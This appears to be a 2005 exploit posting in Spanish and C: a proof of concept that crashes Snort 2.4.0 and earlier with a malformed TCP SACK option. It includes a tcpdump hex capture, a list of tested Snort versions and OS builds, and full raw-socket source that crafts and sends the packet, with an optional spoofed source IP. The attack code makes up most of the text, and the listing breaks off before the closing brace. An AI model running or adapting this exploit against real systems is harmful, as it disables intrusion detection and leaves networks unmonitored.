Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
...
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin | Block Size |
+--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..,艗O..每..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r脟.P.脕.oC帽."
0020: 6002 16d0 3caf 0000 0502 0000 `..脨<炉......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)...
Federico L. Bossi Bonin

_----------------------------------------------
||------+ Snort <= 2.4.0 Trigger p0c +-------
||___________________________________
||--=[ nitrous [at] vulnfact [dot] com ]=--
||--=[ VulnFact Security Labs ]=--
||--=[ 21 Ago 2oo5 ]=--
||--=[ Mexico ]=--
||__________________________________________
-__________________________________________-

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

return 0;
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv));

if(argc == 3)
srcip = argv[2];

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(64876);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");